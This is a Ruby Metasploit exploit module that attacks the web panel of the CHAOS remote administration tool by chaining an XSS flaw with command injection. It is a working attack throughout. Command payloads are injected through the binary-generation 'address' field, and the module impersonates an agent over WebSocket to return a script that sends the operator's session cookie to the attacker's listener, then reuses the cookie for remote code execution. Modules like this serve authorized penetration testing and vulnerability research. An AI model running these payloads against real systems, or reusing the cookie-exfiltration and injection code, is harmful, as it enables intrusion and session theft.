##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Rex::Proto::Http::WebSocket
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chaos RAT XSS to RCE',
'Description' => %q{
CHAOS v5.0.8 is a free and open-source Remote Administration Tool that
allows generated binaries to control remote operating systems. The
webapp contains a remote command execution vulnerability which
can be triggered by an authenticated user when generating a new
executable. The webapp also contains an XSS vulnerability within
the view of a returned command being executed on an agent.
Execution can happen through one of three routes:
1. Provided credentials can be used to execute the RCE directly
2. A JWT token from an agent can be provided to emulate a compromised
host. If a logged in user attempts to execute a command on the host
the returned value contains an xss payload.
3. Similar to technique 2, an agent executable can be provided and the
JWT token can be extracted.
Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running
in a docker container.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'chebuya' # original PoC, analysis
],
'References' => [
[ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'],
[ 'URL', 'https://github.com/tiagorlampert/CHAOS'],
[ 'CVE', '2024-31839'], # XSS
[ 'CVE', '2024-30850'] # RCE
],
'Platform' => ['linux', 'unix'],
'Privileged' => false,
'Payload' => { 'BadChars' => ' ' },
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DefaultOptions' => {
'WfsDelay' => 3_600, # 1hr
'URIPATH' => '/' # avoid long URLs in xss payloads
},
'DisclosureDate' => '2024-04-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'User to login with']), # admin
OptString.new('PASSWORD', [ false, 'Password to login with']), # admin
OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']),
OptString.new('JWT', [ false, 'Agent JWT Token of the malware']),
OptPath.new('AGENT', [ false, 'A Chaos Agent Binary'])
]
)
register_advanced_options(
[
OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']),
OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']),
OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']),
OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]),
]
)
end
def on_request_uri(cli, request)
if request.method == 'GET' && @xss_response_received == false
vprint_status('Received GET request.')
return unless request.uri.include? '='
cookie = request.uri.split('jwt=')[1]
print_good("Received cookie: #{cookie}")
send_response_html(cli, '')
@xss_response_received = true
list_agents(cookie)
rce(cookie)
end
send_response_html(cli, '')
end
def mac_address
@mac_address ||= Faker::Internet.mac_address
@mac_address
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>')
CheckCode::Safe('Chaos application not found')
end
def login
vprint_status('Attempting login')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200
res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || ''
end
def rce(cookie)
data = Rex::MIME::Message.new
data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"')
data.add_part('8080', nil, nil, 'form-data; name="port"')
data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux
data.add_part('', nil, nil, 'form-data; name="filename"')
data.add_part('false', nil, nil, 'form-data; name="run_hidden"')
post_data = data.to_s
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'generate'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => "jwt=#{cookie}"
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200
end
def convert_to_int_array(string)
string.bytes.to_a
end
# Retrieve the server's response and pull out the command response. The return value is
# the server's response value (or 1 on failure).
def recv_wsframe_status(wsock)
res = wsock.get_wsframe
return 1 unless res
begin
res_json = JSON.parse(res.payload_data)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
end
command = res_json['command']
return 1 if command.nil?
command
end
def agent_command_handler(cookie)
vprint_status('WebSocket connecting to receive commands')
headers = {
'Cookie' => "jwt=#{cookie}",
'X-Client' => mac_address
}
wsock = connect_ws(
'uri' => normalize_uri(target_uri.path, 'client'),
'headers' => headers
)
start_time = Time.now.to_i
command = 1
while Time.now.to_i < start_time + datastore['WfsDelay']
begin
Timeout.timeout(datastore['WfsDelay']) do
command = recv_wsframe_status(wsock)
end
rescue Timeout::Error
command = 1
end
next if command == 1
vprint_good("Received agent command '#{command}', sending XSS in return")
data = {
'client_id' => mac_address,
# removed the rickroll from the PoC :(
'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),
'has_error' => false
}
wsock.put_wsbinary(JSON.generate(data))
end
print_status('Stopping WebSocket connection')
end
def agent_callback_checkin(cookie)
start_time = Time.now.to_i
while Time.now.to_i < start_time + datastore['WfsDelay']
print_status('Performing Callback Checkin')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'health'),
'cookie' => "jwt=#{cookie}"
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200
body = {
hostname: datastore['AGENT_HOSTNAME'],
username: datastore['AGENT_USERNAME'],
user_id: datastore['AGENT_USERID'],
os_name: datastore['AGENT_OS'],
os_arch: 'amd64',
mac_address: mac_address,
local_ip_address: datastore['SRVHOST'],
port: datastore['SRVPORT'].to_s,
fetched_unix: Time.now.to_i
}
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'device'),
'cookie' => "jwt=#{cookie}",
'data' => body.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200
Rex.sleep(30)
end
print_status('Stopping Callback Checkin')
end
def fake_agent(server_cookie)
# start callback checkins and command handler
@threads = []
@threads << framework.threads.spawn('CHAOS-agent-callback', false) do
agent_callback_checkin(server_cookie)
end
@threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do
agent_command_handler(server_cookie)
end
@threads.map do |t|
t.join
rescue StandardError => e
print_error("Error in CHAOS Rat Threads: #{e}")
end
end
#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http_service(opts = {})
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
(opts['ServerPort'] || bindport).to_i,
opts['ServerHost'] || bindhost,
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
datastore['SSLCert'],
datastore['SSLCompression'],
datastore['SSLCipher'],
datastore['SSLVersion']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => method(:on_request_uri),
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore['SSL'] ? 'https' : 'http')
netloc = opts['ServerHost'] || bindhost
http_srvport = (opts['ServerPort'] || bindport).to_i
if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{http_srvport}"
else
netloc = "#{netloc}:#{http_srvport}"
end
end
print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}")
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end
def list_agents(cookie)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'devices'),
'headers' => {
'cookie' => "jwt=#{cookie}"
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
soup = Nokogiri::HTML(res.body)
rows = soup.css('tr')
agent_table = Rex::Text::Table.new(
'Header' => 'Live Agents',
'Indent' => 1,
'Columns' =>
[
'IP',
'OS',
'Username',
'Hostname',
'MAC'
]
)
rows.each do |row|
cells = row.css('td')
next if cells.length != 7
agent_ip = cells[4].text.strip
hostname = cells[1].text.strip
agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]
report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}")
end
print_good('Detected Agents')
print_line(agent_table.to_s)
end
def exploit
unless (datastore['USERNAME'] && datastore['PASSWORD']) ||
datastore['JWT'] ||
datastore['AGENT']
fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')
end
fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
@xss_response_received = false
if datastore['USERNAME'] && datastore['PASSWORD']
print_status('Attempting exploitation through direct login')
cookie = login
rce(cookie)
elsif datastore['JWT']
print_status('Attempting exploitation through JWT token')
vprint_status("Fake MAC for agent: #{mac_address}")
start_http_service
fake_agent(datastore['JWT'])
elsif datastore['AGENT']
print_status('Attempting exploitation through Agent')
fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT'])
agent_exe = File.read(datastore['AGENT'])
if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/
server_address = ::Regexp.last_match(1)
vprint_status("Server address: #{server_address}")
end
if agent_exe =~ /main\.Port=(\d{1,6})/
server_port = ::Regexp.last_match(1)
vprint_status("Server port: #{server_port}")
end
if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)}
server_cookie = ::Regexp.last_match(1)
vprint_status("Server JWT Token: #{server_cookie}")
end
fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie
vprint_status("Fake MAC for agent: #{mac_address}")
start_http_service
fake_agent(server_cookie)
end
end
def cleanup
# Clean and stop HTTP server
if @http_service
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service = nil
rescue StandardError => e
print_error("Failed to stop http server due to #{e}")
end
end
@threads.each(&:kill) unless @threads.nil? # no need for these anymore
super
end
end
